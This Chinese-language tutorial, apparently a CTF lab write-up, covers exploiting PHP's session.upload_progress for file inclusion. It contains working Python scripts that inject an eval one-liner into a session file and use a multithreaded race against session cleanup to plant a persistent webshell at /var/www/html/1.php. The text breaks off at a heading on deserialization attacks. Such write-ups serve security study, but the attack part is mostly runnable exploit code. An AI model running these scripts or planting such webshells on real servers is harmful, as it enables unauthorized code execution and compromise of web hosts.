利用session.upload_progress进行文件包含和反序列化渗透
session.upload_progress
php中和这个功能相关的有四个配置
- session.upload_progress.enabled = on //功能是否开启
- session.upload_progress.cleanup = on //清空是否开启
- session.upload_progress.prefix = “upload_progress_” //
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
在php.ini 中找到 并设置  session.upload_progress.cleanup 如果是注释状态 那么也会默认开启 要和上面一样设置为off  设置完了记得重启apache服务器  这样就可以开始实验了
文件包含利用,需知道session在服务器的存放位置
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
prefix+name将表示为session中的键名
我们写个脚本请求发出请求,看看实际的效果
import requests
import io
import threading
urltest='http://127.0.0.1/index.php'
sessionid='TEST'
def write(session):
a='a'*50
a=a.encode('utf-8')
fileBytes=io.BytesIO(a)
response=session.post(
urltest,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.txt',fileBytes)}
)
s=requests.session()
write(s)
本地就会生成这个文件 如果session.upload_progress.cleanup是 on 那么里面的内容就是空的  后面都是文件上传信息,关键是前面的键名 就是我们上的 data={‘PHP_SESSION_UPLOAD_PROGRESS’:’<?php eval($_POST[1]);?>’},
session.upload_progress.prefix + data 为信息的键名  这样我们的一句话就上传到服务器了
一般情况下服务器的 session.upload_progress.cleanup 都是默认开启的 (我们这是实验目的关闭了) 也就是虽然上传了 但是请求一结束 还来不及包含利用 就立马清空了 这里可以用竞争,多线程来实现包含利用 说白了就是加大请求,使其还来不及清空就被我们利用 目标网页代码,只要是有文件包含的地方就行  python 请求代码
import requests
import io
import threading
urltest='http://127.0.0.1/index.php'
sessionid='TEST'
data={
'1':"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}
def write(session):
a='a'*50
a=a.encode('utf-8')
fileBytes=io.BytesIO(a)
response=session.post(
urltest,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.txt',fileBytes)}
)
def read(session):
while True:
response=session.post(urltest+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(urltest+'1.php');
if response2.status_code==200:
print('get_it!!!!!!!')
else:
print(response2.status_code)
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
这里有一个地方要绕一下 session里的一句话 是为了后来写 shell 用的 一旦我们包含利用成功 那么 这一句也就执行了 ,shell 也就写入了
file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');
看到有 get it!!! 那么就成功写入了shell
反序列化渗透
|